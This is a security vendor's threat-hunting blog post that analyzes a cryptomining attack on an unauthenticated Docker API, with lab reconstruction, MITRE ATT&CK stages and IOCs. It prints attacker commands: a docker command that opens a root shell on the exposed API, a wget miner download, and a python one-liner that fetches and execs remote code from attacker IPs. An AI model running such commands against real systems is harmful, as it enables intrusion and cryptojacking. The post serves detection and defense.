Blog Post

Threat Hunting to find Misconfigured Docker Exploitation

The Awake Security Managed Network Detection and Response (MNDR) team identified an attacker taking advantage of a misconfiguration which allowed unauthenticated access to the Docker API. This API access gave the threat actors the ability to create an Alpine Linux container and run crypto mining malware within. The malware also attempted lateral movement to infect more systems. In this blog post we present the network threat hunting approach that allowed us to discover the attack. We also dive into  network traffic analysis of how the attack manifested itself, broken down by MITRE ATT&CK stages.

The Attack Setup

The attack is quite simple as the attackers took advantage of a misconfiguration that inadvertently exposed the API without appropriate security controls.

This exposure is not a default configuration. In order for us to replicate the attack in our lab it required us to modify the docker.sock and docker.service files. These were the only two modifications made to an otherwise default installation. No additional security permissions were added and TLS was not configured to secure the communication to our lab system(s).

/etc/default/docker

DOCKER_OPTS="-H tcp://0.0.0.0:4243 -H unix:///var/run/docker.sock"

/lib/systemd/system/docker.service

ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:4243

The Attack

At first it should be noted that there are multiple methods and command combinations to accomplish this same attack. While our investigation did not definitely reveal the exact commands or methods used by the attacker, we have been able to replicate the end result in a lab environment.

The network traffic timestamps lead us to believe that the attack was likely automated via a Dockerfile.

Initial Access

Figure 1 shows initial access was achieved by exploiting a public-facing application—the exposed Docker API.

In the traffic details you can see multiple POST and GET requests to the Docker 1.40 API. We observed no scanning activity or discovery prior to the first HEAD /_ping request that checks if the server is online and responsive. We also did not see any attempts to scan other systems in the environment. It is therefore likely this server was uncovered through services such as Shodan or perhaps was identified earlier than our investigation window.

Figure 1: Initial access

As mentioned above, we believe a Dockerfile was used to automate the attack and subsequent shell commands. However, the attack can also be carried out manually and results in the same or very similar network traffic patterns. In our lab reconstruction we took the latter approach to enable those unfamiliar with Dockerfiles to understand the attack more clearly.

To reproduce the attack, we first issue the following command against our lab system (192.168.175.135:4243). Running this command causes the vulnerable Docker server to pull down the Alpine Linux image, create the container, and then drop us into a Bourne shell (sh) prompt running as root.

docker -H 192.168.175.135:4243 run -i -t alpine:latest sh

Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
df20fa9351a1: Pull complete
Digest: sha256:185518070891758909c9f839cf4ca393ee977ac378609f700f60a771a2dfe321
Status: Downloaded newer image for alpine:latest

The network flow of the above command is captured by Wireshark and shown in Figure 2. We will step through each of the interactions.

Figure 2: Evidence of Docker container setup as seen on the network

The first traffic you see is the GET HEAD /_ping. This is done by way of the SystemPing operation which is used to test if the server is accessible. In our case the response is an OK indicating the server is up and responsive.

HEAD /_ping HTTP/1.1
Host: 192.168.175.135:4243
User-Agent: Docker-Client/19.03.12 (linux)

Next the ContainerCreate operation is run via a POST. The response returned is a 404 with the message, “No such image: alpine:latest”. This indicates the image doesn’t exist locally and has yet to be pulled down. This 404 was consistent both in the real environment that was compromise as well as in our lab setup.

POST /v1.40/containers/create HTTP/1.1
Host: 192.168.175.135:4243
User-Agent: Docker-Client/19.03.12 (linux)
Content-Length: 1518
Content-Type: application/jsonHTTP/1.1 404 Not Found
Api-Version: 1.40Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/19.03.5 (linux)
Date: Wed, 02 Sep 2020 00:20:38 GMT
Content-Length: 43

{"message":"No such image: alpine:latest"}

Then a GET request using the SystemInfo operation is sent.

GET /v1.40/info HTTP/1.1
Host: 192.168.175.135:4243
User-Agent: Docker-Client/19.03.12 (linux)

A 200-success response is returned. An example of the information included in the response is shown in Figure 3. The API reference documentation has a full list of system information included in the response.

Figure 3: Information included in SystemInfo response

Next we see a POST using the ImageCreate operation with the string value fromImage alpine and the tag latest.

POST /v1.40/images/create?fromImage=alpine&tag=latest HTTP/1.1
Host: 192.168.175.135:4243
User-Agent: Docker-Client/19.03.12 (linux)
Content-Length: 0
Content-Type: text/plain
X-Registry-Auth: e30=

Once this POST is issued there are DNS queries and subsequent TLS connections to the domains shown in Figure 4. The create-an-image operation creates the image by either pulling it from the registry or importing locally if the image already exists. In this scenario it was pulled from the registry and the domains below give an indication of the network traffic generated when this action occurs.

Figure 4: TLS connections to Docker sites

Figure 5 shows the likely download of the Alpine image over TLS.

Figure 5: Alpine image download from the Docker registry

The output of our initial command also validates the sequence of events up and till the image download.

docker -H 192.168.175.135:4243 run -i -t alpine:latest sh

Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine

The response to ImageCreate operation contains information and status about the image as shown in Figure 6.

Figure 6: Information included in ImageCreate response

Once the image is downloaded there is a POST to the ContainerCreate operation. The response is a 201 Created and contains the id of the created container and a list of “Warnings” (empty in this case).

POST /v1.40/containers/create HTTP/1.1
Host: 192.168.175.135:4243
User-Agent: Docker-Client/19.03.12 (linux)
Content-Length: 1518
Content-Type: application/jsonHTTP/1.1 201 Created
Api-Version: 1.40
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/19.03.5 (linux)
Date: Wed, 02 Sep 2020 00:20:40 GMT

Content-Length: 88{"Id":"b3a8d73378bec3c90ea543b29f108aa3f04e6580ab629acd788a15459fdbdba3","Warnings":[]}

With the id of the container from the prior ContainerCreate response, the next operation sent is a ContainerAttach. The response is a 101 UPGRADED and it shows the whoami command run for testing.

POST /v1.40/containers/b3a8d73378bec3c90ea543b29f108aa3f04e6580ab629acd788a15459fdbdba3/attach?stderr=1&stdin=1&stdout=1&stream=1 HTTP/1.1
Host: 192.168.175.135:4243
User-Agent: Docker-Client/19.03.12 (linux)
Content-Length: 0
Connection: Upgrade
Content-Type: text/plain
Upgrade: tcpHTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

/ # .[6n.[60;5R
/ # .[whoami

Lastly, there is a ContainerStart operation issued via a POST with the container id again passed to it. The response is a success with no errors as indicated by the 204 No Content HTTP response code.

POST /v1.40/containers/b3a8d73378bec3c90ea543b29f108aa3f04e6580ab629acd788a15459fdbdba3/start HTTP/1.1
Host: 192.168.175.135:4243
User-Agent: Docker-Client/19.03.12 (linux)
Content-Length: 0
Content-Type: text/plainHTTP/1.1 204 No Content
Api-Version: 1.40
Docker-Experimental: false
Ostype: linux
Server: Docker/19.03.5 (linux)
Date: Wed, 02 Sep 2020 00:20:40 GMT

Execution

Once the threat actor(s) gained access to the container they created, the next step was to download malware. This is seen in the traffic in Figure 7 as the GET /xmi request.

Figure 7 also shows some ICMP requests to 104.140.244.186 and then an ELF binary (the Monero-xmrig miner) being downloaded via a GET /x86_64 request from an XMI script

$WGET "$DIR"/x86_64 hxxp://209.141.61.233/x86_64

Figure 7: Malware download

FilenameSHA256
XMIa61ca464ccf6c6554907834e5aef71d3684fb535084af03adda6e6f681e49a8a
x86_64fdc7920b09290b8dedc84c82883b7a1105c2fbad75e42aea4dc165de8e1796e3

The initial configuration of the XMI script (Figure 8) accomplishes the following tasks on the container that was created with the Alpine Linux image.

  • Turns off SELinux
  • Sets the system ulimit to 50000 presumably to increase limits for the Monero (XMR) Miner
  • Sets the hugepages to 3x the number of CPUs on the host to increase allowed resources for the miner
  • Attempts to kill any previously running software; possibly to eliminate any competitor miners

Figure 8: XMI script startup

Lateral Movement

Figure 9 on line 59 is the payload section. We see it is trying to download the XMI script from 198.98.57.217 via curl. If curl fails, it will attempt to use wget.

Figure 9: Lateral movement from the compromised Docker container

The base64 response is decoded and executed. In the sample we analyzed, the base64 decodes to:

python -c 'import urllib;exec(urllib.urlopen("hxxp://205.185.113(dot)151/d.py").read()

As you might have guessed, this results in the download of d.py (Figure 10) along with some additional items. The downloads occur using the Python-urllib/1.17 user-agent.

The d.py Python script is similar in functionality to XMI.

FilenameSHA256
d.py257298a2453cef6b581e6d343abfb53e122176bde123e2159eab03ef21478e51

Figure 10: Second stage script download

Line 61 of the XMI script begins lateral movement (Figure 11). It checks the known_hosts file of both the current and root users to get a list of hosts that the system has connected to in the past and attempts to connect to each and execute the string payload as described above.

Figure 11: Lateral movement to previously known hosts

Persistence

The script maintains persistence by creating a cron job that downloads and executes the XMI and d.py scripts at the following intervals.

  • Every minute
  • Every 2 minutes
  • Every 3 minutes
  • Every 30 minutes

To achieve this objective, the attacker creates a cron file for

  • /etc/cron.d/root
  • /etc/cron.d/apache
  • /var/spool/cron/root
  • /var/spool/cron/crontabs/root
  • /etc/cron.hourly/oanacroner1

Line 88 of the XMI script then overwrites /etc/init.d/down with the decoded base64 download of the XMI and d.py scripts. This will ensure that it executes the downloads when the system starts up. Next the XMI script downloads the malware via wget as shown in Figure 12.

Figure 12: XMI script downloading malware

The x86_64 ELF binary downloaded is UPX packed. Decompressing the binary and looking at a simple strings output (Figure 13) shows clear indications of miner activity.

Figure 13: Decompressed UPX x86_64 ELF Binary

FilenameSHA256
x86_64fdc7920b09290b8dedc84c82883b7a1105c2fbad75e42aea4dc165de8e1796e3

The binary is then run via the go script shown in Figure 14. The last step of the script is to remove the go script from /tmp/go.

Figure 14: Execution of downloaded malware

FilenameSHA256
goc326d372c5f9926436278d4616c2d87ac03ac91359e025b2d6835be375831a1f

Command and Control (C2)

The miner job traffic identified was to destination IPs 185.141.25.115 and 209.141.35.17 via TCP over port 8080 (Figure 15).

Figure 15: Cryptomining traffic

The captured data within Awake also shows the miner job files as seen in Figure 16.

Figure 16 : Miner job files visible in Awake’s NDR platform

Summary

While miners are common these days, we more commonly see them compromising misconfigured web services or end user workstations. In this case however, we observed the attacker taking advantage of a misconfigured cloud services such as the Docker API. The malware in question then attempted lateral movement to infect more systems and established beachheads. The network provides a unique vantage point with a dynamic view into these configurations and compromises allowing us to detect and mitigate the impact of such an attack.

Indicators of Compromise (IOCs)

Files

FilenameSHA256
x86_64fdc7920b09290b8dedc84c82883b7a1105c2fbad75e42aea4dc165de8e1796e3
i68635e45d556443c8bf4498d8968ab2a79e751fc2d359bf9f6b4dfd86d417f17cfb
goc326d372c5f9926436278d4616c2d87ac03ac91359e025b2d6835be375831a1f
XMIa61ca464ccf6c6554907834e5aef71d3684fb535084af03adda6e6f681e49a8a
b.py4a95c56e03e544db9a619b26b27ede64b8d4381b9b3aef79d694c7e79921e577
d.py257298a2453cef6b581e6d343abfb53e122176bde123e2159eab03ef21478e51

File Paths

/tmp/dbusex
/etc/cron.d/root
/etc/cron.d/apache
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.hourly/oanacroner1

IP Addresses

104.140.244.186
209.141.61.233
209.141.33.226
205.185.113.151
185.141.25.115
209.141.35.17

DNS

pool.supportxmr.com

Network Threat Hunting Indicators

Other Network Hunting Indicators that are not malicious on their own, but when combined with additional analytics can surface malicious activities. These hunting indicators were all used during this attack in one way or another.

User-Agent: lwp-download/6.31 libwww-perl/6.31
User-Agent: Wget/1.19.4 (linux-gnu)
User-Agent: Docker-Client/19.03.6 (linux)
User-Agent: curl/7.58.0
Low number of systems with a high number of TCP connections direct to an IP address over less commonly used ports
Devices that make up 100% of high-volume connections direct to IP addresses
POST and GET requests with a regex of ^\/v1.[0-9]{1}0
Regex portions of the above listed user-agents. For example, looking for Docker-Client vs. Docker-Client/19.03.6 (linux)
The ports that were identified in the initial tasks section of the XMI script (3333, 4444, 5555, 7777, 14444, 5790, 45700, 2222, 9999, 20580, and 13531)

By Patrick Olsen and Brandon Hjella

Patrick Olsen
Patrick Olsen

Director, Awake Labs